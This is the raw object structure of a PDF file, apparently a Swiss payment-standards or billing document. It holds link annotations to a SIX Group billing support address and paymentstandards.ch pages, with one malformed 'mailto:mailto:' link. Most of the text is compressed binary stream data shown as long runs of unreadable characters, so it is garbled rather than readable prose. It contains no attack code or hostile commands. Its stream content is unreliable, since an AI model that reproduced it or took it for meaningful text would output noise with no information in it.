7_bm}<Ȝf?na$Xq7^?ռӼ%X$)ESPPuքܚ\+5IӟW#Z+>8o5d|ևj&HbMnZH{!d`ǰ \|Ɵ5naj{*ga`zg]({:^a6.BIi&VqJ>FdSxzQJb$NiL&glFFFUt:SSS+J'_Jbƌ+T;kxK4~$׎ +>lMǖʄn Aɻ"•GX.' +fK(&.Koñ D:Yca ,YfN݈H%vYJb$Υ$6~NHHؼysHHbohᄑē[SN~.}i>fpc~ .'y!nɬuY8Q8I/K;޳9,Y=u'.s:YCC#ƦJbZU>544|(EDDjXC.Jb`w^CC-Zy~ +:`MF%-DDDDDDDDDDDDDDDDDDDDDDDDDDDDDeq:wz:"""""X,>aaaFltcϞGT5%N_SsT2brN\M#6j \9Xj>8-!,IQ &OxEfquNjMs8'Nطo_DDDhH .\v;p}ԩCW6mHO$Įgk4dlB^?+>ʮOǡ][BY6}*×h{F|M*'RgqG{z6U]~gF_;]xIZe[2FƆV$!!$ޝ{ILzP;a!͞SGFI; JTwyj(~OaϗavBX4f?I|bsڑo0q%7~ +f),>os> 'V5p7dwߘ,ꮙ)..>qDdddIsιݕD٥$nfqn'r(7/u.Ovb_NI܋S/™ҕpbg_ +KsSĉL@~ٯEDDDFEEEUå;r*>%ߎel_>=вk\ZܷO~JtfQ\ۭ]äѾF,'|Ix#?Fn]L8kc|"Y%Kw[f?]GLf&:p0{/xWDa:Gy=g6$NarD{.yO|o꧄0yyoĭYoO+""""ջ5I\ ^1m>[n\LI³Iψf|e)贑^tzӻ}{[ޅw8/}zm%>kzy8p$Y ĀM;qo +ow]/>Fnz2b*?dxozt'!z-e_q[y= V:bT+^Ǜ/Ѻ#7S$yGxIcfr""""tD/]p">>? _1 b|0Y<$~9Z `o|oĠ%ٱOveaN}: yFQ+HS|q\qkڙMχo>N~\'^ZHL$6a fw3^2 Ϩek)F]߃8!0w?E=d>f%n{gﵕ&q\|PXyҗN +Ӵ#7Ck$ٞ?'߷G'Uc.\x/(""""7p=z4,,| tlj^Kld $vexW:0׳ FhQͯXvԲ_K٘A^ElƓ&y'fª+I{N ˹$yMz^I,"""rY,T4GMV>tXE̛sg1/tdטIH_2-͊FR/8g`qeS.H`HtC:7b1=""""R;N,^|Xoعȏg tA{Bށg_iDq5b ~:]}I\D.^8Ҋ+Ө:;(]&l'1oN K~*wk%Ʉ G[+Xupaw& -h3C'H>Ĝ<0uM )|=KOI|f#G+&pr+r0IϨY,.33k!Qy$vaI !E|:0h +G#}p/ᛙ7){&q[ѭ_%8O2~1O-""""hQk.X\[qd=搑BRI$($݄bӒ}aLz>%e7cvPIlXLdJ^+&`/"/:PXrY#z ̔c#3K'|,yl\l<\哝7[s&%ȭM +endstream +endobj +394 0 obj +<< +/Length 7625 +/Filter /FlateDecode +>> +stream +x]Y~Po[ed CXkcP.I tWkxu z ^L2̒ LwgdLջ淿=pǿxO;/wϞm^z铲(]ײM|U(?fs|ۧO_M_TO@ܰ 㼨)Լy~o>}fxȎEJf6e4 +BhٝYB~07Y=>~WmJ=ͮ~ z< @G1)#?B)=tPJ>pr+Z곓a~l/ jGbea'(K) .WHi-+!'Apsҭ\?*tR^?c3T DRVwZ_]+}zmkjzUPR<6SH.!99g؜JP>m/+hL >D}O`4ͺ9M& p'l7Kr# 3ns)$] QG~SYAY?׿H|1%#5EUz?#D@+E\.'˂ ̘dҏP|Uh:~ڇF0m=Q-_ʢf`%Ua#MUgL5E?vȡ%5rLkQȹ}l%I8GX$]lydZFv8٥AZevKUĞUWB4/V7sYc ;Y@ uk9ad< OU^3AUǻ(YV%D#Ǎde=T\ʌØMkMkolTUv}%ڴ֙r~UVIrUZB4RiUe_tކq, |  +\lB:X"ل ڄdᒚơcLM X)M꺗77+=_jǟwAem>f+.x !d.vKrg>sk1V-3u}+ -EsķWv{/:^:wE3\ʃTs=X13 +ĬYY^ Ckفy4DhGC N Zq .HAX#j4=GS= !ITm9Qщ|7ۮk]NݟUOR~H`[nn7ʰ+1dB}s* +"s!Z= +x]΀ϠU.+hV9޷`#4uZKSϡ_\܂{ZzH;2ƺqB&B+^8e!MvA+qD&8U$? AY~@'QNEsŜG"NFS-ǢLAkPq|7EE*}/;6Uѹmp;4M8چyZK8B<ֻ^daڷ]L,%?,ڮ> 2:Y^wdDbd+1iqlZr[cQ+B0QWKQwBEAu*2꒠Eʋcah^sxXItnm? TƒΟJBf4*rgܡ(G5HTR#!Q Q9ԝr{nK]{,0&Ln$ 2kz#"ꃗ$Jw)tR/cc68IZf8Wv)ZBd92 *:6ͦpsDhu9q}3F!E)f )?ѷbB&plOfD+AclaY扴*1h"N Ay,#A05hZc3MC>yvӴF*>Ƴ+p4d*- ػ0,oݛ9_v||q )A8w AR XZ97G .̪v3E1=E4$&R$&V'DWj} y>}-61* EϪ|.jnˬY ``sZȽp\We"c$DHxD̠JР9"Q9MrD5x"{O H"`&ON8emrBXU[tJ#?eO>+U0弉u1i"5ë}%{t+KW Tڱ0.kA' 0=UW1ڷ`aWx7ë" R H}vLd$RĮpl<0Τ 2i!2)&<22)4(/3)4*/j%2)]&%9oiM1ik弼}֎`o&n*Ҋ½vbgփ;n[b̅8; CmSý @&.)s!NJu( ڎpSR&h{w&>s!P[Hqڇ[16@r7FڣK1V5Ӕ0ɂZ*TQ +V$aW*J!V*(=-gZ3XLThe۠[ݞ7M]j~vtC.DxYxpSR&hW8K=o,SrƸną Ơp%]I\26sKc / S$Xt='6".E-ĬzCx~= >Z{%c ۫åThxdJ=h = Z(0h"؃SEh ToQy@5#= qd@h)=c z=OŽ-4be(Kc"F3:4ۻ Tcٵ%3q!TboeH&ʤ%UA 4h"V*r& t*ׂITCFQ1;ASzc/&Lgʙf$r*G?}s1~'YS]=%j>KO4_#l l<[w?\PގdȁQ_ k2X9ͬCYsj `sjN޼ "zN+g3L5cf[콺i dE!UuEU"f>9SˉKEX>w!dwoD|MEw).˪^e ݋Ia6i X#W#9O>TQ_ T$*<X=]>0vpY'8>5V7W7:F5BKuyNs^*u;_و'MȖj K>1K2,B̒@*%9,>š.a˩ 'Oc׼ŅeHY`/kRp9oMԱ= ?'Z\ h=g8:lq)\åϝGa8TW A2ؕ~/oilpcqN]Sv!j}|)4PvD[$(9iT$*/%HT+V3ĨA"*H0X'Sd!dl.9tQMɐ˓)sgnדFPʒ*M};Too"hS-e-֟ܨԑb 5[ ލm_bH*滷H,-\/T(G}|BM} $)ֵyz/+1^IԞ6`n50EUIVFsl>~xu;IC~MoBKg;r7:|\*YiRu#Ic} &)MWm鬆>R0qK5e!JV%'jBt< "QO6z`ٕ4Hڻx?ׇ}|zS2}W%4k*KgDf8-M;;fg_S6]= Y4wk@}I#c\.vUQ *ZMj" %b +TCFdFJ.=3/8\P*Ι1$jeoFRZ4RMNJ4/.jeͱɚ'h[oe 0B7ħ tq1H!>Xchk8~bP,0&͙' !ީ ?@-JH%TAJA!`S.{'Q'uX) =285.7”[4LMB1nL1AOG?kM_$cHbtpk/ͯ4W*f4ڸ!w녫*u k1r/ F&Um*!cJuVZk+J F?ɼ.f^J"]Hɷ$3C:U;:C5v3`+65KflGWKME:=$5hKWK%8nBC T >1Ed,VJf^d!AԎ:ˌwSUf6{]dв׉E.3#f7,hZ{|;`C󱥎:b*7ٖ99$6ѠwrfiKфR n[9޶WlMɷ)տΜ$2zntB^?e;q6 46rZ찳k,O+ŤUڌQ[@FK &%ڠN6JɌ !D馁z5Al`5Z3eF(o*ԛ7rt['G1ZeȗS$f^XgQ'2J3mRcLw:-J6aq/be)5ɬnMft[d)Nf(YM0m.0U@ȗS|qfYeQ'r*3:Ŷ~RP M*TB6״^#xsTBAל2fT5ZZ*^KsSn'ILg  nJ_ic Z +:Hpefz̛asuro,MA څd|;IB56 h"k qCs 6KY 4 5x(zm$lV4T4٬5fuO֕P*f4Kk.o'pΦ9g!CH׌& h4;3N@GY/\.NGIG)-n. NG=H:Pe訑hJc ElɝH)pRX6rT=KqѦ|gJ^Mts\>cH;cKI^_c~N0v˥65%w9WyzpRS*j9KWοn%q'mKk/3beKe xgh0Do&iIn֒^e~]m}e>s=E,鍉l6։ª U ޔK$VUjQ("TiE?Մ"TӌWma+_n)BÞOu.XʁQW ) DQ:&ڞw?ǡ2ΗQ, ,+ +K cN"跓"rycnK +kM_X@8ogՇ ڠ A}L'ڒ4C~yI06辴(}5ac2b3f¸:D\ GwdXf~ع<|MB:t.0uF.!sFˠUY.* pu=7 +}g{g#Mۿo*8e@+ +5-|Y< +endstream +endobj +395 0 obj +<< +/BS << +/W 0 +>> +/Dest [40 0 R /XYZ 40 728 0] +/F 4 +/Rect [342.97 242.65 360.88 255.59] +/StructParent 267 +/Subtype /Link +>> +endobj +396 0 obj +<< +/BS << +/W 0 +>> +/Dest [40 0 R /XYZ 40 728 0] +/F 4 +/Rect [358.85 242.65 404.14 255.59] +/StructParent 268 +/Subtype /Link +>> +endobj +397 0 obj +<< +/Length 3762 +/Filter /FlateDecode +>> +stream +xnF݀o͹!v4n݇,;*bI$#|B_s;gn3lRu$9g9sãjѧ=̮9L-;M.BO.aņ~7T QQ$zT}YvϧzqWѯuBmxc]zl7+3qr1 `1L&8M%C;.qGGQQEsD)l(Ƙg,'ą\n>DxQVET%Vh](LqI.طZ!CLJǟ C00}W kKZWjIoM7E'vK8@ml.k +kki7܌e/E,;z޼ʣu6?י5z _iY2!i5BX~ӑP?%p22Z@/ۦ2`5,q!bV1'2#C'HFC]G^+3df?W:eϟ\Tpa\抅0E>r41O RhWA)Jf ɹfR$$,=5 ( 5REf @HE|fW&c3§"): +B4⥾Vik"R])!V$Y\] D:nBBI5YT)fJfOVY4@EHhQ?$,9(%N+T"IA쉕%JI;3DT1;jpKPw(P"}&E?Le.caC U +m1bYBH]$Or-A+9Ac%NYt\HF +j@.SirDcP`JYi٨SAf6^nk}':oԚͯ@_ZocT_qdA=ITF(NvG`-l7L9`ؒ,P IP O~[L@(U5D5)~Zkv>*^L] C +pfMLZY[45ns|謹F۔h:jQ*76N< +%cf̀8ޚKKch]8ş_3u(R.2힭/y1T1+Me.rIzpu3<Ӿq ƻYCa|g R߲\xl6m$;C:0/*#Zjk㮦Üi=F/ YuM2-},1W &luQ 9=Ճ%ꞏۊם h)DV]OU9!Bn[_;j~愀f{},v4} 928.4JgAgR< 1ryl;3'MfJ*B-$뒀p5Osݰ@BSڨTBݱV*-gNaDrРtK,Sb14w"ՂzuVspW6z'kE9%؆6Ά­nGUcjte'W=/wi)4!_1hM+ݨge +'#JLh CjR^ qt4쒽XщMuz2 «|l.?OJľJфebiY0G.#]']J4tb[<(LpS+Lv/<ɠe[p7hYla[K~e)}o\6zHl3_&L aec0Fޛ}"JÙꗉz僧L,kqwLR?ӱ3&杠mf>/8uv\zNMVyQ-w~HǾ$E Y +xU/hKު5M*"zia99{}:}= +6^mRļw`8#9fQ=*3ҁΡVgLkZ?[HQ{\{J!M]':Z-LhG9"!X2E>|! +endstream +endobj +398 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (mailto:support.billing-payments@six-group.com) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [213.88 462.95 403.26 477.89] +/StructParent 270 +/Subtype /Link +>> +endobj +399 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (mailto:support.billing-payments@six-group.com) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [213.88 395.76 403.26 409.7] +/StructParent 271 +/Subtype /Link +>> +endobj +400 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/de/home/software-partner/structured-info.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [281.93 292.7 408.59 307.64] +/StructParent 272 +/Subtype /Link +>> +endobj +401 0 obj +<< +/Length 4952 +/Filter /FlateDecode +>> +stream +x]kn?܁H~h``dY`$6e[҈r 8HW?&Ell,UUWWuU\|uoSg^{*2) +)(K܁f+Cj2!Q/gGG*x?7/Hoi^%3f]\%tyS[̭C҄й-Qa=,9.4)0'g*p޽ߟf\`z64(u"]Zd1y:dnl,q2ִ*0g +=tVtt$əeNyX?8q'y.i4I9I!&l1]dzk1J$6i4*)}x?59JJv6x=Ѧ;{.Ah墪*>*RE՛m9.~* S3G@Ǽ% K-vS?B:d]ËLo@NM2aFmH!W<;pxobTtX9.$PƗмpHsCh5&%@~d,B!Kb{lsrIe^J{G7D'0dI>~i84YUR.YfYH?Rs+[!t elJ:6퟇~ _cY&b;{:( 57e!/ERV&pL =ܖ-w&w[EMqǫ|f6W =]?|8$fY+5Ƣ_/5ϼWT`L?ދRduXs +>)@v>®磪`uhp#Heـ#fTNhT l9|N)]8&H, °XCg|0?֐ jbyWjB|+> e ;c$3zwuQiK}N00Lơ3,"e[ʵ/ioK(!EY' WW:¢4E& [ҥ V ńOF K+2E2Irܕfk@M s!=KN*[]l?rxhBX81LJs6 IӤ/BЖBJ.\5z):UV4\8F|{~R~ +Y1H/31 #CNԨt-Z7cg2KO_OiMS^iîH0đT\O@[B()+Ii=4\\6'%X7۸XW<Vf0>WD$8bpr.b @80 5~15L*WZ8aK{/͐AuĈ8RPs]ĕ8D $flGALяVf\j^bxJؚbY tC!Ch* +0,D,V[pX`og57jcf0\&)Mҕeh ղ8f]_jѹóh7L^$)1t&K /tY6fH'Ue19MTI,r>4wٸL)wn;zOoGۖ+ε~1v5Vn?pIܦ}D,S2}W+o{\' *&D6gfYr;M)j-Ҩh>n2f}R&]MAB,stW5L#ZCV;[05F&|7{@+;|}ٛGѬ C mJf3\T =*dqo2˚=QxT``@8?؟_5r m+CTrtdEBm3[IZYq |o8̤iS#^)-.NωiVwuYɷ+ ~e9岂˥].sNfƛ3iSgDxkHb~< ^f12R]~nղu.P‹{r06orI$J&(>F=:O'm ɓrλX.[SHD{gS%A>@dEGJ)q]_%uFu2`Yh9)MfF"zDr ~"[_RT=m/@ #l\8j# +)e`@ mz>+Z^^ a[@Vӗn|'h]½KY$}Z6IQZ&E^ +%-8{^^s="+8Q }s#?@>K(Y,v0m)!lhj8p`^ʬP[6]~HEZ}/cЏP-lHo8n:6ڨ*dzY /JX<(AsnlѼz- +^dX8_'P4pjjv_댼GC򄩋`L[ +Huf%NX9ϛry)V\jq RsWh`gK牊lEw'u3 ~*(:`[A%R~6gIeQOԬ8)cj /yɺB gA$GUa 80nAbdyf-:K$oQRՆ2-JSCۢ\,{dfoh٤Xz[o t{} 5JqKYe[QZQH#d3H)cPRBLr._?_ :c]UН|Ll.nKjXU1 +׏?M|m4 o'v557Y0$X.zr3Z=SEQ0 +z?]lj;M|^ j$ 1( .hҊ!ʗhJ +cgo$JؑXɍHy҇P +<)UD45ehQU㧒-th<ͦ|>MCd TBéAٽڴ+]ڞ+uHu5QڞtK-dY:ߤ f 6h9z`X=Pbe#-d+WoP.nis(=~0UoD֦9)4PQf"텦f RކU- xc  +\hq9ѓ\{>Sbf_UJ708w(MU+OHaM z F !t9N+5f8ħݳʽPw0 !ʢFg,~bV7JM!kwV' H:MsxŐ9^Y%S"Q0= NR0cz@x0c_iɻHor4Fq(Q8h uFR[يj;oyA P4-m-89ꏋp' |ϳ +%[P|94VJsF#>KN#6XZF$zS>זqץ22EL=uĸDx*.>o_r%]\xßJ/4L `y]ΟUW<NOfCY30õ[gV ];+.dU>> +/BS << +/W 0 +>> +/F 4 +/Rect [267.98 642.63 457.36 657.57] +/StructParent 274 +/Subtype /Link +>> +endobj +403 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (mailto:mailto:) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [267.98 575.45 303.32 589.39] +/StructParent 275 +/Subtype /Link +>> +endobj +404 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (mailto:support.billing-payments@six-group.com) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [301.28 575.45 490.66 589.39] +/StructParent 276 +/Subtype /Link +>> +endobj +405 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/de/home/software-partner/structured-info.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [336.03 472.39 462.69 487.32] +/StructParent 277 +/Subtype /Link +>> +endobj +406 0 obj +<< +/Length 3367 +/Filter /FlateDecode +>> +stream +xnH݀}Xi c/6@fbE/bё O6UMWH$.U͜<]mnMf:0 ޝ\,~?v7?y3YL77 q>NOgςOG! ON4"` +V,]AT\\!pG%Epq PFtWGFG/OG5֌Bfbbxt==5/3!D}h~."&cZKNjB#w~;qČ ޼%'+# > Z9[o7-b[(B^'atf4vݐG%jZ 2à>94dQLʄL'[/^'l,o!r0D; z_҉Hsc lМ @*}QGͰ0$8Zxu,!YR0.;ɹ̛_ #\޺S*d1UiICfJ]|V<2J/Ī h2jS&8Z4CVV1(ڇ T_u«zg,! єsj92v]Qw/.ED`[ˮ17n hպ3Yg]1j7~&͝m `ՂzLd؏sG3\>`󈜀V1)gj?VB~\Ҿi_7>W՛u($/v> +\mH' +Ld~ۮ O#d{w +!-C|27pNu縹 ҏI.J'p_5N G m ; `l\dߏ*E_0řs B̠Úsl]>z "XOk b%DZ:Yq̖8e˅qx>)=rE +Q9EbY@ބ n鸈D 4OC2,3tE1rNN?c岏X,XLTX5GTo %,C:g'?68{Q,Jlr +ڵTBopj}x" +CO'~?}f:U𥍻<;/  +2Zŧ&%>!BcqFN'o=#"^WZus6m&0ִkm-ho|G9IggZ62/﷏yh[aʡX8M= WҾ}}8C*Cm1Mωm^M*7;T!@;e't]/j%B̶7 YW3_k'f*D]Z/'KDy l2 )U4$\& .ÔRL1Mt{E.q?!q^`rNKOmִ9ԁUTg]BWQw˨$ķ=qDrekp^Ѝ ى'fʴY=wԓl܉ģo;:=uXT(xx0D:;flyۺy1VۉMxPT,YUfM5bXQs6A'4 ?ԗ&-s|a_6!$*C43~^[Tl,\@T Ti)X$=o$|yB9׮jIUzBKh[v֚WU81rcȾqDSyC2eGEV3p܂5˯HqOicBxR Ɠf[鄯gS'.UC'ǩ\;5+wij^ڲ{FH_GlzJ j4f4i{>"2xJCi |þ:Ҟ6t=>:9%#~x(t")]-98fh翭zRE0X%SVHd3=i+iD@ UrԤ^[ +זt,]"seU7)85cfȰueg6t|`oO}f'LnmD[s4_E9+.JZClv +\1uVih cZ?"8BB:ï! F{ B4tmxCƇ lWۖae,VmG%TNC9dip @Ί2?F-F\m} M>ʁtl[Jc[%6 +[TUiFT:{WyWqR$/_bw!e/!+sR{+Lz<I+K3TN8 &M› SJ>u.4J৓PNshc@+h5A5@Ne09rUcu>/֬Pg%taq3ң.}^[ˆ)]a_֑vDa!`OJixE +źBɥ9cޮw{c |)mّ\J\L?~w֡FXc| "9ܷv[9wa*q{,.3۴fI*In?T/].~ijhy:B?ϡ҄*uYS +endstream +endobj +407 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/de/home/software-partner/structured-info.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [279.14 612.76 405.81 627.7] +/StructParent 279 +/Subtype /Link +>> +endobj +408 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/de/home/software-partner/structured-info.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [327.59 517.26 454.25 536.26] +/StructParent 280 +/Subtype /Link +>> +endobj +409 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (http://www.swico.ch/) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [196.87 342.7 264.08 361.7] +/StructParent 281 +/Subtype /Link +>> +endobj +410 0 obj +<< +/Length 6910 +/Filter /FlateDecode +>> +stream +x]kF/@w vL`|0IZ遽-g{~TwkPWdL>O؟[lFd&dXEV3/"u~]ًjwۇjݜ=szy^~Y𿺮HVdeSf5yǛlwϟ!Y:{w9YU79ٻ{I[I{o_?"[#{Ͼ l"D Z[<,ò\,Ž+Z|wtlY-GxvKB$,7v NDMWU~>($MH܃Vz4j:gZ.R,{h5G{39&/}rvqU:$n;ϧ%W}뫹u(I3>ld!ҞeS!+eЬ+FW߾~oC<_ZC +W>iʫ kWoHfFjz}uVڼgC}/vjPϹYo6 +Y5j QP,>-b #fV᪀s],ȼȯ*`1ZخR~+ZJ٠/%Ȉ5xu/q:uTWKrٚ*xz^(Ah5$D4 DHoJ'Z$x1qJ5\[TTodK#|S|3F͌&~{٣Wg^ۏ5|[n>g!6ݵDm^rޑ]\]B*ֹD6\pop(=–-JvY|7wdӔSLǸ&e͓^F&;e6$r*/됴+7Jឩ-./N} ^F +t?Hx9/eTyQ10.kՐ#S!CHBHsi1W0\B-y&Amx$Wh ++(a A.0u {sK12`>P\E FǴD)d]0W,o+0fV`Gcm}(KX h,>_TQ& !eժk(ʢIG-=*P)֝r]0-\>tKFdex +H Ar6j75EȈjFZ^ xVR/Kk.^S2Qc}=zT*30;LLRSOM~@W`ciIp$D*q%%d8IkY^5{*c'XM km'4 ]׈i]`yUz9wkqHD,i70FK,'P)xuY\H1kY8wC!aqbLtcCeCt7>R +#å-aDb/w]>hC,"gKva:êo 4>v)K> =; ]S o)Z8 ~X9@u(@ՓO9{ ig?]9^OpJI] +-ƀ +Tx w$*Zp;.M8,R_}Zcd/~?˸d]aNhoo/x"a{x>`k][Hm2ޘj&I2[ÞѩG0b?0;Th//cVE4ʴGXaG@ش0*2$kڐW:q|&ԺreP6h-3E^k:؊,`aesKqK1β9xqiǨZE^a% goZ +@_Q} #w6P HGx\HMBзI50 -}q+f6aEO 0~5C \wXSɡ`v +U}TQ߄lzk b舘J^/ W<7o5zZ)^5 gkJo9⛮-gkvo h=[C)h Xq ;$C$%8i8`;M؞3ٴ)f a +hT,n"lTd;LD&pԞbe'wck/ Tyk&"mCr!\=ԓγ+:Zwj8#:ݼ:Юy@NnOJnsg'p)_A5I~ŵ|e0ҁCW6p+gFZDyRQ ,ty*؃;GgOCU ZR +m2YbҪi̱}+ٸʘ+j#P TW֔Tm5/Y.xl)spp4jЖQo }Ċ*OqƽbFxH +pWܟ,RUUJ&F^>Mϥ$K\850wP8_rTxgKm86%BuDNq\ +467z>1pZt}ѯ@ãYPafwN\o(>I/9I4{}x8dVEHAVmGdA@nԱQ|:+t>*nWB]}~ȫPElf7ęnO8F{V>bvGzк<1&3A !jQfq>!|Y/h&[H +YERI$߼'}bB:M &6ʄ< c4-Mh(Ɣ7mȜEy/fԠxxwQʗʪ*|’0I&]Ȕ$a'}N9]`λP#iT,, 6W0{}iBY;Q(;b'jq_ٙDѮ&VX o +eaN3@"Leɢ̒^dIWAHtxN +- G +b>A= ?]syF袨Lh76ΰ? +n Q?\>VrHy4x4ygnou(l4~QSoA7ݹB8W?^ 9?Xn+ +qz)"8Dؘ R!8(Dg1V-6qN-BDv@ae¶Obl164T'FdyxI}sY<ekԽ$ ip)Q!4u$jx*7&J?AGV.FJdrR}t»罗FLR-aNMx!eϡ{3^F9M+sJHG5D^DUx`Lt:);]P*x8c1cvYȰ|n3VQ[bͬJfE\Q0i +4: +"31ߺ_iv#ch=}al,4AGB E$"LP8¾ #Q<3;HQ,PD"ΧŦKoyK\P- iq#aZQ1Q$"ˎaYy<Ǽ, -(&ʒDD" ܺ +endstream +endobj +411 0 obj +<< +/Length 5988 +/Filter /FlateDecode +>> +stream +x]]7~WP/5'BI=GmnX@uSrOtfS+>bgXdP"Y݉1f%D"!8˞??}qw8ey|v}ӷYyr\Nھ\\,oβ_e?*45ɊnDGU}'y mPֆDPU +2*^)Z]K [fsvɗ ͈wL-)6! ;Y^!vogszrqkZfd!p^kO6OK/"5Bdw&z &=gmޔ?>ڑbV@lou9 +Fy0)OU,sy.Q_er}wo ]6_DĹb)sy9P$AVE(l17ӛ9a \[6me= lN2mCu6/Cqcm>W.4S/Rz ֑6NYlϲɩ]n^L?}Y7GZs`ͥp\Ҷ.Ni,@Ԋdy-C|`ӟCzqIxzy#h1T/\tEtU8c9* lSRʘt7Brr5":9BVӟn+]rcvvꏳNIcd&=Uͼ8t} W<= , !sF+AWLj&Ԥ60QbUdr3-qKN߭m*4NqJwm)05Mƌ!RK-?lחHY,u%9h(^[&4R Rw*`*Bۉ͘5JΌ0u2Gg߈E2%&h@5)kI\0C?Z"sq @\|x0& ka[XԵFY**kmab|H[XQrufZ؏kp}"ځT-! Q/C4&Byk.2\:q)`%$j%Qߊ5$$0>Ln%F3" $pHSQMi{rIRc4ZiEhQ=53+3ID6C?.tN &g={9q4U0]iS?5R e% K/\WS4Zx㦴rmY.R]tb5Pj)3VPvq]eEnÝN\aBBy6;\"E3RfҝYmv"nC3o-=Ÿ1;ϠkxwhܒwwLPWxco%11ۆTۄӊԐb'{;~^fk(XB>j=9Ď>_1`EQx>)mQfVn!'m /x[L>\\ at+(*WHYz XxF>I}RmU2tzkPⴧKGRRUdi@TI`뉵 +5FO!\g=9Gz bu%#!'A;⺃ep0})1X0Q_kms>\IVzȟHq]Y:欉c30ϸEH3ᨉ-?f%vPԭ5ZFv*Z:ģ e}?G)kDQ$Gum(DQ$GP:W㍏j8JG T-nR3,JQNq[/`r^w쳧pH>X'Y68+b,%쳋T8}B{aKf;^0WI$L,RGY洷Ju8\(%ֈ'[2kURyhtnBad֧M$eW% >|Z\GGk,p#NoBϟⱂ'^2Wf DkAhNGC{{. +l^V͙Y&Fኳ湄z8]sDOI*`wWS!FfĊ3 +b6vI8ٗJa䎊_1h_ۿ00Taж +\f;P|߈k0s#D)K!7&XSLop03Fx`Gf[d$|w&֠!Cвf4j:տU_HaYkĸXGH#+OGVJGcL#5'g9uWg56}[,I|d|x݃{扸'#Zis窒]0C `EbM[V|j A=" ݌4PaEePʖ4 Pnq҈P +!VT!thjD&5("|8EA6D#4>(WTя"(t|EDvd Q{Q{Uh"E+ /C%\,TPib"+w_HuwD4xkn ȡLIG>N+$y0([^gxh-9'wYP'_k˽27ؚ_6ȯo0z @a-zqw9k oXa|u2C(]psw(ڟo|=69Ը )O +1Mb2[8Kyws׬}"ĩlڀ5Hm +{bu=V6sOͮcm6Q7jca >GGqkӳC`)tl=<4)LKhK.}2sCv*Tp~#/g/%̦Kx۞pq1b=6( ZH5|$W' ?88aVs![:p[X6U]'!WRY}zդ·xPXy?U_FLBTl6hnj||/<0iZ8t + 8PBP$ݺ9Hj57Sn4uQd1mmGJxcI)i^TLQUn KmәǷ<+JS3úm< ^[-uscLsk#s>.Vmvճ^.EXJ"[v2Q_ڸӕ$ kډ:]Pb&Ґ~ǚm4 _j,ee[aWjp_\H{o,F]XOhY}0nw=1޺=d{$a{ɞjغ !ޱ /p*.Q%-A@H ptр@{}M L#f(aU.f[6 "mNleO.{r\^;b=Uu[J:Ħ&2nqHTo;H a}e'3orKD{Elݎ(A$s^rRY\6 uT3RZ%wL{nHvh!Ѻ;7$Ibnvsw-{ %^%&N$n7!y 4<(?W|iFN?8!EѺ7,\*^;2d e9̽ 9l,Xp֛7zosuQ~3|_b\k2ޫ0[G17d/xln,,3&PNʹ;&RFHk':!d/`W4v(r#!Q×h-9%ຟޅuN Й5@Fx.62p|o^^,/>qU{"J8FՒ<68 +U*o't{oPN.R*\'[ +CrM/f Ђ C6##DM~lugqV\J,͊K_ɂ_K:gmҩ޷glހ1ݠ4gI2GOmZaS3fa#Jj|⽷#iْ,e;3nMVAD5L+<82%t}'H%Eb׭DWz͊[AIY:0:֑`$O9~NwYZ +P[rB|"9{q3|"\PG29w{%˛*9F8 + +endstream +endobj +412 0 obj +<< +/Length 6063 +/Filter /FlateDecode +>> +stream +x]ݒ6w߁w, MM=vVeg\dBhlH㑔>S!/˝\8hڌgH 4ūve~{j/>-o/7z[mvfpy~s}y _ے2+ +e-Fygl.+.mv}.2+1H%ʮh7-9_?$3 +R6XZHSMÚZ(n:&|֓tVOfMgd2eS2W7K(5k;-KZnxo표Ew,PQ樋KUͨڼz6:9\&ΧdY*/nqEtͼ󲍑[Uv6eWxlSR~u]JeEN+z'V)/WEDvnٍ(D#8g#A'yCr܄e3Z7Cuy)N'gK'Z'w-ٕO96=r[OOD.P^jS[*2PN[RӒ,F!j8#srujX2oSZ,xNg%gRvֹUD-uBU-@EE;j8Mm4= Qediwoc6}]0ґZe J߲ٺw9"_&%})A +C]G],۳Rw -(LA7دg 4p%;Q4 +fʡѥ Wg~[i/goQqS5U;a^E*_W53(^ekk_-Vpn.Kae]Z^zTwŨ.2*hqd,_bGδOXv,D|Y$oJ4j.%8b K; bb?z(bMzXϱ=l6CmlYYKF.Brbq1Ǣ*O;Eix_߭e1a"D<1>~PPtht1rЄTby pCF J_ER2GM0JZ VXfe V͗d1'{$:\W9@[ø*¸^Q0$с2.Os6ǽ =0E-Rv+2bl䩵X¨aC0.ׯE˭uсͭ+ ]wx_z>Nkdfl?& +NN?,ŇeI\D&ȱII)(F%V}"(beWaװxI2|ICU1/U/2$*/~4xe9 "{N ft.Lyi+'lAr{Ӄ%V_vpAabpAȶYa>V +Y 1 Yyݚ2? HӉm}wTWׁңy{YSCC|z}BW|*QK R5Rh5>Gz®u CT:POF$` >EP`:\Ke5) zJ% t^KFv~H@wPBԲ]m%L<#&6L@>ƨO%M)EޙKf D,;ZW\݄ f7Փb:&߬HDO Jxw6e5GsǞh`LEzӝSx0Hw]aqO3)Nmc$~N_w|Qwu@=68cOt F) +RZm&i=-QTqx NP^=D>Sk|ږ@+nJ20BQӱeSf$n~6cF`BVxKtZ7pgz6:4TUWM~޾-JBpD:S,jdyB0܃e- vFqUa"%v6GK^XdsӜ+f!մK[}jYXy0d^Hv4[!}bQZgK\<)K. c$kh)7԰&p0$~|UFSovr>?*/Ek<ÊIjĔO|$2c5Z}α)꼴Vk 6$(]W TYT [C* lhxX$,[hqhkdJUb9+|\O.Ԯ3T"cid?*@F8J1ΌGIA4 >P^Zr)l: +De]JUS6Mk 7x j`B얝 +<'$)p> +;;c;u^A[9 